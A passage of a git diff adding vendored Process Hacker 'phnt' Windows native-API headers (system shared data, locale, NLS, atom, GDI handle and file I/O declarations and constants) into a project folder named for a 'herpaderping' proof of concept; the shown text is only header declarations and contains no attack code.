UCHAR QpcShift : 1; + }; + }; + + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; +#include + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3d8); +//C_ASSERT(sizeof(KUSER_SHARED_DATA) == 0x70C); // VS2017 has some weird issue with this. + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)0x7ffe0000) + +#if (PHNT_VERSION >= PHNT_WS03) + +FORCEINLINE ULONGLONG NtGetTickCount64() +{ + ULARGE_INTEGER tickCount; + +#ifdef _WIN64 + + tickCount.QuadPart = USER_SHARED_DATA->TickCountQuad; + +#else + + while (TRUE) + { + tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time; + tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart; + + if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time) + break; + + YieldProcessor(); + } + +#endif + + return (UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) + + (UInt32x32To64(tickCount.HighPart, USER_SHARED_DATA->TickCountMultiplier) << 8); +} + +FORCEINLINE ULONG NtGetTickCount() +{ +#ifdef _WIN64 + + return (ULONG)((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); + +#else + + ULARGE_INTEGER tickCount; + + while (TRUE) + { + tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time; + tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart; + + if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time) + break; + + YieldProcessor(); + } + + return (ULONG)((UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) + + UInt32x32To64((tickCount.HighPart << 8) & 0xffffffff, USER_SHARED_DATA->TickCountMultiplier)); + +#endif +} + +#endif + +// Locale + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInstallUILanguage( + _Out_ LANGID *InstallUILanguageId + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultUILanguage( + _Out_ LANGID *DefaultUILanguageId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsUILanguageComitted( + VOID + ); +#endif + +// NLS + +// begin_private + +#if (PHNT_VERSION >= PHNT_VISTA) + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID *BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize + ); +#else +NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID *BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize, + _Out_opt_ PULONG CurrentNLSVersion + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID *SectionPointer, + _Out_ PULONG SectionSize + ); + +#if (PHNT_VERSION < PHNT_WIN7) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseCMFViewOwnership( + VOID + ); + +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID *BaseAddress + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data + ); + +#endif + +// end_private + +// Global atoms + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom + ); + +#if (PHNT_VERSION >= PHNT_WIN8) + +#define ATOM_FLAG_GLOBAL 0x2 + +// rev +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags + ); + +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteAtom( + _In_ RTL_ATOM Atom + ); + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +// Global flags + +#define FLG_STOP_ON_EXCEPTION 0x00000001 // uk +#define FLG_SHOW_LDR_SNAPS 0x00000002 // uk +#define FLG_DEBUG_INITIAL_COMMAND 0x00000004 // k +#define FLG_STOP_ON_HUNG_GUI 0x00000008 // k + +#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010 // u +#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020 // u +#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040 // u +#define FLG_HEAP_VALIDATE_ALL 0x00000080 // u + +#define FLG_APPLICATION_VERIFIER 0x00000100 // u +#define FLG_POOL_ENABLE_TAGGING 0x00000400 // k +#define FLG_HEAP_ENABLE_TAGGING 0x00000800 // u + +#define FLG_USER_STACK_TRACE_DB 0x00001000 // u,32 +#define FLG_KERNEL_STACK_TRACE_DB 0x00002000 // k,32 +#define FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000 // k +#define FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000 // u + +#define FLG_DISABLE_STACK_EXTENSION 0x00010000 // u +#define FLG_ENABLE_CSRDEBUG 0x00020000 // k +#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000 // k +#define FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000 // k + +#define FLG_ENABLE_SYSTEM_CRIT_BREAKS 0x00100000 // u +#define FLG_HEAP_DISABLE_COALESCING 0x00200000 // u +#define FLG_ENABLE_CLOSE_EXCEPTIONS 0x00400000 // k +#define FLG_ENABLE_EXCEPTION_LOGGING 0x00800000 // k + +#define FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000 // k +#define FLG_HEAP_PAGE_ALLOCS 0x02000000 // u +#define FLG_DEBUG_INITIAL_COMMAND_EX 0x04000000 // k +#define FLG_DISABLE_DBGPRINT 0x08000000 // k + +#define FLG_CRITSEC_EVENT_CREATION 0x10000000 // u +#define FLG_LDR_TOP_DOWN 0x20000000 // u,64 +#define FLG_ENABLE_HANDLE_EXCEPTIONS 0x40000000 // k +#define FLG_DISABLE_PROTDLLS 0x80000000 // u + +#define FLG_VALID_BITS 0xfffffdff + +#define FLG_USERMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_HEAP_ENABLE_TAIL_CHECK | \ + FLG_HEAP_ENABLE_FREE_CHECK | \ + FLG_HEAP_VALIDATE_PARAMETERS | \ + FLG_HEAP_VALIDATE_ALL | \ + FLG_APPLICATION_VERIFIER | \ + FLG_HEAP_ENABLE_TAGGING | \ + FLG_USER_STACK_TRACE_DB | \ + FLG_HEAP_ENABLE_TAG_BY_DLL | \ + FLG_DISABLE_STACK_EXTENSION | \ + FLG_ENABLE_SYSTEM_CRIT_BREAKS | \ + FLG_HEAP_DISABLE_COALESCING | \ + FLG_DISABLE_PROTDLLS | \ + FLG_HEAP_PAGE_ALLOCS | \ + FLG_CRITSEC_EVENT_CREATION | \ + FLG_LDR_TOP_DOWN) + +#define FLG_BOOTONLY_VALID_BITS (FLG_KERNEL_STACK_TRACE_DB | \ + FLG_MAINTAIN_OBJECT_TYPELIST | \ + FLG_ENABLE_CSRDEBUG | \ + FLG_DEBUG_INITIAL_COMMAND | \ + FLG_DEBUG_INITIAL_COMMAND_EX | \ + FLG_DISABLE_PAGE_KERNEL_STACKS) + +#define FLG_KERNELMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_STOP_ON_HUNG_GUI | \ + FLG_POOL_ENABLE_TAGGING | \ + FLG_ENABLE_KDEBUG_SYMBOL_LOAD | \ + FLG_ENABLE_CLOSE_EXCEPTIONS | \ + FLG_ENABLE_EXCEPTION_LOGGING | \ + FLG_ENABLE_HANDLE_TYPE_TAGGING | \ + FLG_DISABLE_DBGPRINT | \ + FLG_ENABLE_HANDLE_EXCEPTIONS) + +// Licensing + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize + ); + +// Misc. + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort + ); + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownSystem( + _In_ SHUTDOWN_ACTION Action + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDisplayString( + _In_ PUNICODE_STRING String + ); + +// Boot graphics + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDrawText( + _In_ PUNICODE_STRING Text + ); +#endif + +#endif // (PHNT_MODE != PHNT_MODE_KERNEL) + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntgdi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntgdi.h new file mode 100644 index 00000000..e657d4d0 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntgdi.h @@ -0,0 +1,132 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTGDI_H +#define _NTGDI_H + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 // invalid handle +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntioapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntioapi.h new file mode 100644 index 00000000..c0bf1f1c --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntioapi.h @@ -0,0 +1,2156 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTIOAPI_H +#define _NTIOAPI_H + +// Create disposition + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +// Create/open flags + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#if (PHNT_VERSION >= PHNT_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#define FILE_DISALLOW_EXCLUSIVE 0x00020000 +#endif +#if (PHNT_VERSION >= PHNT_WIN8) +#define FILE_SESSION_AWARE 0x00040000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +// I/O status information values for NtCreateFile/NtOpenFile + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +// Special ByteOffset parameters + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// Alignment requirement values + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +// Maximum length of a filename string + +#define MAXIMUM_FILENAME_LENGTH 256 + +// Extended attributes + +#define FILE_NEED_EA 0x00000080 + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +// Device characteristics + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +// Named pipe values + +// NamedPipeType for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 +#define FILE_PIPE_ACCEPT_REMOTE_CLIENTS 0x00000000 +#define FILE_PIPE_REJECT_REMOTE_CLIENTS 0x00000002 +#define FILE_PIPE_TYPE_VALID_MASK 0x00000003 + +// CompletionMode for NtCreateNamedPipeFile +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// ReadMode for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// NamedPipeConfiguration for NtQueryInformationFile +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// NamedPipeState for NtQueryInformationFile +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// NamedPipeEnd for NtQueryInformationFile +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + +// Mailslot values + +#define MAILSLOT_SIZE_AUTO 0 + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID (NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +// private +typedef struct _FILE_IO_COMPLETION_INFORMATION +{ + PVOID KeyContext; + PVOID ApcContext; + IO_STATUS_BLOCK IoStatusBlock; +} FILE_IO_COMPLETION_INFORMATION, *PFILE_IO_COMPLETION_INFORMATION; + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION + FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION + FileBothDirectoryInformation, // FILE_BOTH_DIR_INFORMATION + FileBasicInformation, // FILE_BASIC_INFORMATION + FileStandardInformation, // FILE_STANDARD_INFORMATION + FileInternalInformation, // FILE_INTERNAL_INFORMATION + FileEaInformation, // FILE_EA_INFORMATION + FileAccessInformation, // FILE_ACCESS_INFORMATION + FileNameInformation, // FILE_NAME_INFORMATION + FileRenameInformation, // FILE_RENAME_INFORMATION // 10 + FileLinkInformation, // FILE_LINK_INFORMATION + FileNamesInformation, // FILE_NAMES_INFORMATION + FileDispositionInformation, // FILE_DISPOSITION_INFORMATION + FilePositionInformation, // FILE_POSITION_INFORMATION + FileFullEaInformation, // FILE_FULL_EA_INFORMATION + FileModeInformation, // FILE_MODE_INFORMATION + FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION + FileAllInformation, // FILE_ALL_INFORMATION + FileAllocationInformation, // FILE_ALLOCATION_INFORMATION + FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20 + FileAlternateNameInformation, // FILE_NAME_INFORMATION + FileStreamInformation, // FILE_STREAM_INFORMATION + FilePipeInformation, // FILE_PIPE_INFORMATION + FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION + FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION + FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION + FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION + FileCompressionInformation, // FILE_COMPRESSION_INFORMATION + FileObjectIdInformation, // FILE_OBJECTID_INFORMATION + FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30 + FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION + FileQuotaInformation, // FILE_QUOTA_INFORMATION + FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION + FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION + FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION + FileTrackingInformation, // FILE_TRACKING_INFORMATION + FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION + FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION + FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION + FileShortNameInformation, // FILE_NAME_INFORMATION // 40 + FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA + FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION + FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION + FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION + FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION + FileHardLinkInformation, // FILE_LINKS_INFORMATION + 